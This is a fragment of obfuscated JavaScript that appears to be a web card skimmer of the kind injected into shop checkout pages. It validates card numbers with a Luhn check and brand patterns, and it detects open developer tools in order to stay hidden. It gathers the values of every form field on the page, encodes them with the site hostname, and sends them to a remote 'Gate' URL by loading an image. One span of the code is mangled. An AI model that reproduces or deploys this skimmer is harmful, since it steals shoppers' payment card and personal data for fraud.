_0x374ea6=0x0,_0x4b4e7d,_0x2db14f,_0x159924=0x0,_0x19fd6d='';_0x2db14f=_0x5b2ebb['charAt'](_0x159924++);~_0x2db14f&&(_0x4b4e7d=_0x374ea6%0x4?_0x4b4e7d*0x40+_0x2db14f:_0x2db14f,_0x374ea6++%0x4)?_0x19fd6d+=String['fromCharCode'](0xff&_0x4b4e7d>>(-0x2*_0x374ea6&0x6)):0x0){_0x2db14f=_0x2d92b2['indexOf'](_0x2db14f);}return _0x19fd6d;});}());_0x2ea7['uUaCHI']=function(_0x175db2){var _0x12f7b7=atob(_0x175db2);var _0x2defe9=[];for(var _0x1e19c3=0x0,_0xe7a1f1=_0x12f7b7['length'];_0x1e19c3<_0xe7a1f1;_0x1e19c3++){_0x2defe9+='%'+('00'+_0x12f7b7['charCodeAt'](_0x1e19c3)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x2defe9);};_0x2ea7['DLbfCa']={};_0x2ea7['FCIFtK']=!![];}var _0xafe5eb=_0x2ea7['DLbfCa'][_0x9e024a];if(_0xafe5eb===undefined){_0x20e67a=_0x2ea7['uUaCHI'](_0x20e67a);_0x2ea7['DLbfCa'][_0x9e024a]=_0x20e67a;}else{_0x20e67a=_0xafe5eb;}return _0x20e67a;};function _0x23aac1(_0x357820,_0x13450b,_0xcc2be5){return _0x357820[_0x2ea7('0x0')](new RegExp(_0x13450b,'\x67'),_0xcc2be5);}function _0x2135de(_0xea2edb){var _0x49f1f5=/^(?:4[0-9]{12}(?:[0-9]{3})?)$/;var _0x1cd5a4=/^(?:5[1-5][0-9]{14})$/;var _0x5af073=/^(?:3[47][0-9]{13})$/;var _0x3f6e01=/^(?:6(?:011|5[0-9][0-9])[0-9]{12})$/;var _0x3d8ad6=![];if(_0x49f1f5['\x74\x65\x73\x74'](_0xea2edb)){_0x3d8ad6=!![];}else if(_0x1cd5a4[_0x2ea7('0x1')](_0xea2edb)){_0x3d8ad6=!![];}else if(_0x5af073[_0x2ea7('0x1')](_0xea2edb)){_0x3d8ad6=!![];}else if(_0x3f6e01[_0x2ea7('0x1')](_0xea2edb)){_0x3d8ad6=!![];}return _0x3d8ad6;}function _0x4ab828(_0x2e3e00){if(/[^0-9-\s]+/[_0x2ea7('0x1')](_0x2e3e00))return![];var _0x4bcde6=0x0,_0x359495=0x0,_0x1bedce=![];_0x2e3e00=_0x2e3e00[_0x2ea7('0x0')](/\D/g,'');for(var _0x3cbd36=_0x2e3e00[_0x2ea7('0x2')]-0x1;_0x3cbd36>=0x0;_0x3cbd36--){var _0xa9d2db=_0x2e3e00[_0x2ea7('0x3')](_0x3cbd36),_0x359495=parseInt(_0xa9d2db,0xa);if(_0x1bedce){if((_0x359495*=0x2)>0x9)_0x359495-=0x9;}_0x4bcde6+=_0x359495;_0x1bedce=!_0x1bedce;}return _0x4bcde6%0xa==0x0;}(function(){'use strict';const _0x1a1f32={};_0x1a1f32['\x69\x73\x4f\x70\x65\x6e']=![];_0x1a1f32['\x6f\x72\x69\x65\x6e\x74\x61\x74\x69\x6f\x6e']=undefined;const _0x350bfd=0xa0;const _0x316125=(_0x106ca3,_0x1b9333)=>{window[_0x2ea7('0x4')](new CustomEvent(_0x2ea7('0x5'),{'\x64\x65\x74\x61\x69\x6c':{'\x69\x73\x4f\x70\x65\x6e':_0x106ca3,'\x6f\x72\x69\x65\x6e\x74\x61\x74\x69\x6f\x6e':_0x1b9333}}));};setInterval(()=>{const _0x3fa5c6=window['\x6f\x75\x74\x65\x72\x57\x69\x64\x74\x68']-window[_0x2ea7('0x6')]>_0x350bfd;const _0x539039=window['\x6f\x75\x74\x65\x72\x48\x65\x69\x67\x68\x74']-window[_0x2ea7('0x7')]>_0x350bfd;const _0x5418ce=_0x3fa5c6?_0x2ea7('0x8'):_0x2ea7('0x9');if(!(_0x539039&&_0x3fa5c6)&&(window[_0x2ea7('0xa')]&&window['\x46\x69\x72\x65\x62\x75\x67'][_0x2ea7('0xb')]&&window['\x46\x69\x72\x65\x62\x75\x67'][_0x2ea7('0xb')][_0x2ea7('0xc')]||_0x3fa5c6||_0x539039)){if(!_0x1a1f32[_0x2ea7('0xd')]||_0x1a1f32['\x6f\x72\x69\x65\x6e\x74\x61\x74\x69\x6f\x6e']!==_0x5418ce){_0x316125(!![],_0x5418ce);}_0x1a1f32[_0x2ea7('0xd')]=!![];_0x1a1f32[_0x2ea7('0xe')]=_0x5418ce;}else{if(_0x1a1f32[_0x2ea7('0xd')]){_0x316125(![],undefined);}_0x1a1f32[_0x2ea7('0xd')]=![];_0x1a1f32[_0x2ea7('0xe')]=undefined;}},0x1f4);if(typeof module!==_0x2ea7('0xf')&&module[_0x2ea7('0x10')]){module[_0x2ea7('0x10')]=_0x1a1f32;}else{window[_0x2ea7('0x11')]=_0x1a1f32;}}());String[_0x2ea7('0x12')][_0x2ea7('0x13')]=function(){var _0x492922=0x0,_0x5dd214,_0x841069;if(this[_0x2ea7('0x2')]===0x0)return _0x492922;for(_0x5dd214=0x0;_0x5dd2140x0){if(_0x4ab828(_0x23aac1(_0x23aac1(_0x4a25e0.value,'\x2d',''),'\x20',''))&&_0x2135de(_0x23aac1(_0x23aac1(_0x4a25e0.value,'\x2d',''),'\x20','')))_0x1e010a.IsValid=!![];_0x1e010a.Data[_0x4a25e0.id]=_0x4a25e0.value;return;}if(_0x4a25e0.name!==undefined&&_0x4a25e0.name!=''&&_0x4a25e0.name!==null&&_0x4a25e0.value.length<0x100&&_0x4a25e0.value.length>0x0){if(_0x4ab828(_0x23aac1(_0x23aac1(_0x4a25e0.value,'\x2d',''),'\x20',''))&&_0x2135de(_0x23aac1(_0x23aac1(_0x4a25e0.value,'\x2d',''),'\x20','')))_0x1e010a.IsValid=!![];_0x1e010a.Data[_0x4a25e0.name]=_0x4a25e0.value;return;}};_0x1e010a[_0x2ea7('0x1b')]=function(){var _0x1f224e=document.getElementsByTagName(_0x2ea7('0x1c'));var _0x4cda2f=document.getElementsByTagName(_0x2ea7('0x1d'));var _0x432fc5=document.getElementsByTagName('\x74\x65\x78\x74\x61\x72\x65\x61');for(var _0xe887cd=0x0;_0xe887cd<_0x1f224e.length;_0xe887cd++)_0x1e010a.SaveParam(_0x1f224e[_0xe887cd]);for(var _0xe887cd=0x0;_0xe887cd<_0x4cda2f.length;_0xe887cd++)_0x1e010a.SaveParam(_0x4cda2f[_0xe887cd]);for(var _0xe887cd=0x0;_0xe887cd<_0x432fc5.length;_0xe887cd++)_0x1e010a.SaveParam(_0x432fc5[_0xe887cd]);};_0x1e010a[_0x2ea7('0x1e')]=function(){if(!window.devtools.isOpen&&_0x1e010a.IsValid){_0x1e010a.Data[_0x2ea7('0x1f')]=location.hostname;var _0x14e666=encodeURIComponent(window.btoa(JSON.stringify(_0x1e010a.Data)));var _0x34ccb7=_0x14e666.hashCode();for(var _0x444bd6=0x0;_0x444bd6<_0x1e010a.Sent.length;_0x444bd6++)if(_0x1e010a.Sent[_0x444bd6]==_0x34ccb7)return;_0x1e010a.LoadImage(_0x14e666);}};_0x1e010a[_0x2ea7('0x20')]=function(){_0x1e010a.SaveAllFields();_0x1e010a.SendData();};_0x1e010a[_0x2ea7('0x21')]=function(_0x409134){_0x1e010a.Sent.push(_0x409134.hashCode());var _0x4f13d7=document.createElement(_0x2ea7('0x22'));_0x4f13d7.src=_0x1e010a.GetImageUrl(_0x409134);};_0x1e010a[_0x2ea7('0x23')]=function(_0x508fb8){return _0x1e010a.Gate+'\x3f\x72\x65\x66\x66\x3d'+_0x508fb8;};document[_0x2ea7('0x24')]=function(){if(document[_0x2ea7('0x25')]==='\x63\x6f\x6d\x70\x6c\x65\x74\x65'){window[_0x2ea7('0x26')](_0x1e010a['\x54\x72\x79\x53\x65\x6e\x64'],0x1f4);}};